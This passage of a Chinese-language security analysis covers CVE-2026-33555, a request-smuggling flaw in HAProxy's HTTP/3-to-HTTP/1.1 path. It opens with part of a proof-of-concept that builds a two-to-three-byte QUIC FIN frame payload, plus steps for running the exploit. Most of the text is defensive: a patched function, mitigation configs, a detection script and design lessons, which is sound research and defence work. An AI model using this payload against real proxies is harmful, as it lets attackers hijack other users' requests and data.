    frame.extend(encode_varint(stream_id))         # Stream ID: 0x00
    frame.extend(encode_varint(0))                  # Offset: 0x00 (OFF=1)

    # LEN=0, Data 延伸到包末尾 — 无 Data 字节
    # FIN=1, 流终止信号已设置

    return bytes(frame)

# 构造攻击载荷
payload = build_zero_byte_fin_stream_frame(stream_id=0)
print(f"攻击载荷: {payload.hex()}")  # 输出: 0d0000
print(f"长度: {len(payload)} 字节")

# 在最小化场景下 (Stream ID=0, Offset=0):
# payload = 0x0d 0x00 0x00
# 其中:
#   0x0d = Type (STREAM + OFF + FIN)
#   0x00 = Stream ID (0)
#   0x00 = Offset (0, 因 OFF=1)
#
# 但如果使用 OFF=0 (Type=0x09), 则可省略 Offset 字段:
#   0x09 0x00 = 仅 2 字节
#   0x09 = STREAM + FIN (无 OFF, 无 LEN)
#   0x00 = Stream ID (0)

6.4 验证方法

执行 PoC 后,通过以下步骤确认请求走私:

# 1. 启动测试后端
python3 backend_server.py &

# 2. 启动 HAProxy (受影响版本)
haproxy -f /etc/haproxy/haproxy.cfg &

# 3. 执行攻击脚本
python3 exploit_cve_2026_33555.py

# 4. 观察后端日志 — 预期输出:
# [POST] Content-Length: 1024
# [POST] Actual body length: 0          ← body 为空但 CL=1024
# [!!!] BODY SHORTAGE: expected 1024, got 0
# [!!!] LIKELY REQUEST SMUGGLING DETECTED!
#
# 随后:
# [GET] Path: /account/secret           ← 用户B 的请求出现在后端
# (但此请求的前 1024 字节已被当作用户A 的 body 消费)

# 5. 使用 tcpdump 抓包确认
tcpdump -i lo -A -s 0 'tcp port 8080' -w smuggle.pcap
# 在 Wireshark 中分析: 后端收到的 HTTP/1.1 请求流
# 应能看到 POST 请求的 body 中包含了 GET 请求的数据

七、修复方案与防御

7.1 核心修复方向

漏洞的根本修复在于 H3 解析层不应在未实际收到匹配 Content-Length 的 body 时设置 EOM flag。修复后的 h3_stream_fin() 应增加完整性校验:

/* ====================================================================
 * 修复后的 h3_stream_fin() — 增加 body 完整性校验
 * ==================================================================== */

void h3_stream_fin_fixed(struct qcs *qcs)
{
    struct h3s *h3s = qcs->ctx;
    struct htx *htx = qcs->htx;

    if (qcs->flags & QC_SF_FIN) {
        /* 修复: 在设置 EOM 前校验 body 完整性 */

        if (h3s->cl_present) {
            /* 请求声明了 Content-Length */
            if (h3s->rx.body_len != h3s->cl) {
                /* body 不完整 — QUIC FIN 到达但 body 未收齐
                 * 这是 CVE-2026-33555 的攻击特征!
                 * 拒绝设置 EOM,返回协议错误 */
                qcs_reset(qcs, H3_FRAME_UNEXPECTED);
                return;
            }
        }

        /* 仅在 body 完整时才设置 EOM */
        if (h3s->flags & H3_SF_SIZE_KNOWN ||
            (h3s->cl_present && h3s->rx.body_len == h3s->cl)) {
            h3s->flags |= H3_SF_EOM;
            htx->flags |= HTX_FL_EOM;
        }

        tasklet_wakeup(qcs->tasklet);
    }
}

7.2 HTX 信任边界重新审视

HTX(HAProxy Transaction)作为 HAProxy 的内部消息表示层,其 HTX_FL_EOM flag 被下游组件(如 mux_h1)无条件信任。修复方案应包括在 HTX 层增加来源标记:

/* HTX EOM 设置应记录来源路径 */
#define HTX_FL_EOM           0x00000001  /* EOM 已设置 */
#define HTX_FL_EOM_VERIFIED  0x00000002  /* EOM 经 body 校验确认 */

/* h3_stream_fin() 中 */
if (body_verified) {
    htx->flags |= HTX_FL_EOM | HTX_FL_EOM_VERIFIED;
} else {
    /* 仅 FIN 触发的 EOM — 标记为未验证 */
    htx->flags |= HTX_FL_EOM;  /* 不设置 VERIFIED */
}

/* mux_h1 中 — 检查 EOM 来源 */
if (htx->flags & HTX_FL_EOM) {
    if (!(htx->flags & HTX_FL_EOM_VERIFIED)) {
        /* EOM 未经 body 校验 — 拒绝转发或触发告警 */
        if (h1s->cl_present && h1s->body_len < h1s->cl) {
            /* body 不完整 — 丢弃请求 */
            return -1;
        }
    }
    h1s_send_request(h1s);
}

7.3 临时缓解措施

在补丁部署前,可采用以下临时缓解措施:

措施一:HTTP/3 与 HTTP/1.1 后端连接池隔离

# HAProxy 配置: 为 HTTP/3 和 HTTP/1.1 客户端使用不同后端池
frontend fe_https
    bind *:8443 ssl crt cert.pem alpn h3,http/1.1
    mode http
    
    # 根据 ALPN 协议分发到不同后端池
    tcp-request inspect-delay 5s
    use_backend be_app_h3 if { req.alpn -i h3 }
    default_backend be_app_h1

backend be_app_h3
    mode http
    # HTTP/3 客户端的后端池 — 使用独立连接
    server app1 10.0.0.10:8081 check

backend be_app_h1
    mode http
    # HTTP/1.1 客户端的后端池
    server app1 10.0.0.10:8080 check

措施二:禁用 HTTP/3

# 临时禁用 HTTP/3,仅保留 HTTP/1.1 / HTTP/2
frontend fe_https
    bind *:8443 ssl crt cert.pem alpn http/1.1,h2
    # 移除 h3 alpn — 阻止 HTTP/3 连接

措施三:后端超时缩短

backend be_app
    mode http
    # 缩短后端超时,减少 body 等待窗口
    timeout server 1000ms
    # 关闭后端 keep-alive,防止请求复用
    option http-server-close

7.4 检测方法

部署以下检测规则来识别利用此漏洞的攻击:

#!/usr/bin/env python3
"""
CVE-2026-33555 检测脚本 — 监控 Content-Length 与实际 body 不匹配
部署在后端或 SIEM 日志分析层
"""

import re
from collections import defaultdict

# 检测规则: 请求声明了 Content-Length 但实际 body 为空或过短
def detect_smuggling(request_log: str) -> bool:
    """
    检测特征:
    1. 请求包含 Content-Length 头部 (CL > 0)
    2. 实际接收的 body 长度 < CL
    3. 后端进入 body 等待状态后,下一个请求的头部出现在 body 中
    """
    cl_match = re.search(r'Content-Length:\s*(\d+)', request_log, re.I)
    if not cl_match:
        return False

    declared_cl = int(cl_match.group(1))
    if declared_cl == 0:
        return False

    # 检查 body 中是否包含 HTTP 请求行 (走私特征)
    body_match = re.search(
        r'(GET|POST|PUT|DELETE|PATCH)\s+\S+\s+HTTP', 
        request_log[request_log.find('\r\n\r\n'):]
    )
    
    if body_match and declared_cl > 0:
        return True  # 检测到走私!

    return False


# SIEM 告警规则 (Splunk/SPL 示例)
SPL_QUERY = """
index=haproxy sourcetype=haproxy:backend
| eval declared_cl=tonumber(match(Content_Length, "\d+"))
| eval body_len=len(_raw) - len(headers)
| where declared_cl > 0 AND body_len < declared_cl
| stats count by src_ip, dest_ip, _time
| where count > 1
| alert
"""

7.5 长期防御策略

防御层级 措施 说明
协议实现层 严格区分 QUIC FIN 与 H3 EOM H3 解析器在收到 QUIC FIN 时必须校验 body 完整性
内部传输层 HTX 信任边界重构 EOM flag 需附带来源验证标记,下游组件可区分可信/不可信 EOM
连接管理 H3/H1 连接池隔离 不同前端协议使用独立后端连接池,阻断跨协议走私路径
运行时检测 CL/body 不匹配监控 实时监控 Content-Length 与实际 body 长度的偏差
架构层面 后端协议升级 后端迁移到 HTTP/2 或 HTTP/3,消除跨协议语义差异

八、协议设计启示

8.1 传输层与应用层语义解耦的重要性

CVE-2026-33555 的根源在于传输层(QUIC)和应用层(HTTP/3)的"完成"语义被不当地耦合。这一教训具有普遍意义:

传输层语义:  "字节流已终结" (byte-stream terminated)
             → 保证不会再有字节到达
             → 不包含任何应用层语义

应用层语义:  "消息已完整" (message complete)
             → 所有协议帧已解析
             → 消息结构符合协议规范
             → 可能有额外的完整性约束 (如 Content-Length)

在任何分层协议设计中,传输层的终止信号 绝不能 被直接等价为应用层的消息完成信号。两层之间必须存在显式的校验层,确保应用层消息的语义完整性独立于传输层的字节流状态。

8.2 "零字节"攻击载荷的启发

本漏洞的攻击载荷仅 2 字节,是已知请求走私类漏洞中载荷最小的之一。这一特性带来的安全启示:

传统安全认知:
  "攻击载荷越大越容易被检测"
  "零字节/空请求不会造成危害"

CVE-2026-33555 颠覆:
  2 字节载荷 → 触发 Critical 级漏洞
  零字节 body → 绕过所有 body 内容检查
  无异常头部 → 绕过 WAF / IPS 签名检测
  无时序依赖 → 绕过基于速率/行为的检测

启示:
  攻击面最小化 ≠ 安全性提升
  协议语义的边界条件 (零长度、空值、边界值)
  往往是安全漏洞的高发区域
  → 需要对所有边界输入进行严格的语义校验

8.3 QUIC/H3 安全审计的新方向

本漏洞揭示了 QUIC/H3 安全审计中此前被忽视的攻击面:

  1. 传输层信号注入:攻击者通过构造特定的 QUIC frame(如零字节 FIN)注入传输层信号,利用代理的信号传播机制触发应用层状态错误。

  2. 跨协议状态污染:当代理在前端使用协议A(HTTP/3)、后端使用协议B(HTTP/1.1)时,协议A的特有信号可能通过内部状态传播(如 HTX FL_EOM)污染协议B的解析。

  3. 校验器旁路:安全校验函数(如 h3_check_body_size)通常设计为在正常数据路径上执行,但攻击者可以通过触发非正常路径(如 standalone FIN)绕过校验。

安全审计新方向:
  ┌─────────────────────────────────────────────────────┐
  │ 传统审计: 检查正常数据路径上的校验逻辑                │
  │ 新方向:   追踪所有到达状态变更的代码路径              │
  │          特别是非数据路径上的状态设置 (FIN, RESET)    │
  ├─────────────────────────────────────────────────────┤
  │ 传统审计: 检查协议A内部的解析一致性                   │
  │ 新方向:   审计协议A→协议B 的信号传播链                │
  │          确保内部表示层不泄露源协议特有语义           │
  ├─────────────────────────────────────────────────────┤
  │ 传统审计: 检查完整/正常请求的处理                     │
  │ 新方向:   模糊测试边界条件 (零长度, 空body,          │
  │          standalone FIN, 纯控制帧)                   │
  └─────────────────────────────────────────────────────┘

8.4 总结

CVE-2026-33555 展示了一种全新的请求走私范式:通过操纵 QUIC 传输层的 FIN 信号,利用代理软件在传输层与应用层语义边界上的处理缺陷,以极小的攻击载荷(2字节)实现跨协议、跨用户、确定性的请求走私。

这一漏洞的核心教训是:在分层协议栈中,每一层的"完成"信号都有其特定的语义边界,跨层传播时必须经过严格的完整性校验。传输层的字节流终止绝不等同于应用层的消息完成——这一原则应成为所有协议代理实现的安全基线。

对于安全从业者而言,此漏洞也提示了 QUIC/HTTP/3 时代请求走私攻击的新形态:攻击不再局限于应用层头部解析差异,而是深入到传输层信号与应用层状态的交互边界。未来的安全审计需要建立覆盖全协议栈的威胁模型,从传输层 frame 级别到应用层消息级别,追踪每一个状态变更信号的传播路径。


参考资源:

  • CVE-2026-33555 官方披露
  • RFC 9000 — QUIC: A UDP-Based Multiplexed and Secure Transport
  • RFC 9114 — HTTP/3
  • HAProxy 官方安全公告与补丁
  • HAProxy HTX 内部架构文档

免责声明(重申)

本文档仅供网络安全技术研究与教育目的使用,严禁用于任何未经授权的系统访问或攻击活动。文中所有技术分析基于已公开的CVE披露和安全研究,旨在帮助安全从业者理解和防御HTTP请求走私威胁。读者应在授权测试环境中验证本文所述技术,并遵守当地法律法规。